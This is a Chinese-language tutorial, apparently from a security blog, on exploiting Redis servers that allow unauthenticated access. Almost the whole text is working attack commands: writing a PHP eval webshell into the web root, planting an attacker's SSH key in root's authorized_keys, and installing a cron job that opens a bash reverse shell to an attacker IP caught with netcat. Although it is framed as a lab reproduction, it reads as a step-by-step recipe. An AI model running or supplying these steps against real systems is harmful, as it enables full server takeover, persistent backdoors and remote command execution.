redis未授权访问–拿webshell以及实现ssh免密登录
前言:
redis是一个非常快速的,开源的、支持网络、可基于内存亦可持久化的日志型、非关系类型的数据库;
提供多种语言的 API,java/c/c++/c#/php/javascript/
漏洞定义:
redis未授权访问漏洞是一个有域redis服务器版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器
的IP地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用
漏洞成因:
1.redis版本 4.x/5.0.5或以前的版本
- redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则,避免其他飞信人来源IP访问等相关安全策略,直接暴露在公网
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务。
漏洞危害:
攻击者 可通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制
最严重,如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
漏洞的验证及利用过程演示
实验环境准备
1.攻击机和目标机都安装好具有redis服务的linux环境
2.关闭两台实验机器的防火墙,保证后续通信可达
iptables -F
setenforce 0
systemctl stop firewalld.service
3.两台机器IP地址
靶机搭建可以参考:https://blog.csdn.net/qq_39135287/article/details/83474865
**注意:**在搭建靶机的时候redis不要设置密码,因为现在复现的是redis未授权访问。
漏洞验证
验证思路:
未授权访问漏洞的本质就是不需要用户密码就可以完成服务器的登录,所以验证思路很简单,只要能使用攻击机无密码登录目标服务器,漏洞就存在
验证过程
目标机器:/root/local/bin/redis-server /root/redis-4.0.14/redis.conf 运行redis服务器
攻击机器:redis-cli -h IP 连接redis服务器
登录之后输入info,出现内容证明验证成功
漏洞利用方法1–webshell
(目标主机必须开启web服务才可以实现此攻击)
首先攻击机用命令 redis-cli -h 目标IP -p 6379(redis服务的端口) 连接redis服务
config set dir /var/www/html
<!--这个是设置文件存储的目标目录-->
config set dbfilename shell.php
<!--这个是设置目标文件也就是要创建的后门文件-->
set webshell "<?php @eval($_POST['cmd']);?>"
<!--这个是将一句话木马写入刚才创建的后门文件里,webshell 就是redis中的键,类似于MySQL中的字段-->
save
注意:一定要save保存!
演示步骤:
连接redis
执行上述步骤
用蚁剑连接成功,成功拿到webshell
漏洞利用方法2–ssh免密登录
写SSH公钥实现登录
攻击机和靶机打开 SSH服务 systemctl start ssh(没有的话用apt命令安装)
在目标机创建SSH公钥可写目录 mkdir /root/.ssh //ls -al
清空攻击机/root/.ssh目录下的文件,方便区分一会要生成并存放进其中的SSH公钥文件:rm -rf*
在攻击机生成SSH公钥(需要连续敲击三下回车)ssh-keygen -t rsa
在攻击机上切换至公钥存放目录:cd /root/.ssh
将公钥写入1.txt(前后用\n,避免和redis里其他缓存数据混合,不用会一直失败)
(echo -e "\n\n";cat id_rsa.pub;echo -e"\n\n")>1.txt
使用redis-cli -h 目标IP 连接目标机器并执行以下命令将本地SSH公钥写入目标机
config set dir /root/.ssh ——————用来设置redis默认存储目录
config get dir ——————查看目录设置是否成功
config set dbfilename authorized_keys ——————设置redis要写入哪个文件
save
将1.txt的文本内容带入登录目标机redis服务器的过程中,后续可以直接在目标机上设置目标文件并写入 cat 1.txt | redis-cli -h 目标IP -x set crack ————————将1.txt中的数据写入authorized_keys这个文件
在攻击机使用ssh免密登录
cd /root/.ssh
ssh -i id_rsa root@目标IP
演示:在攻击机上生成公钥和私钥
将公钥写进1.txt避免与redis其他数据混淆
连接目标机器的redis服务
目标机器已经被写入文件
用攻击机成功登陆场目标机器
漏洞利用方法3–反弹shell
利用攻击机将计划任务写进服务器
config set dir /var/spool/cron //写入的目录 计划文件夹
config set dbfilename root //写入的文件名
set ssr "\n* * * * * bash -i >& /dev/tcp/192.168.20.140/1234 0>&1\n" //写入的内容
save
攻击机:执行 nc -lvvp 1234 稍等片刻 黑客机接收到目标机的shell 使用crontab -l 可查看目标机器原来写入的计划任务
演示:
成功反弹shell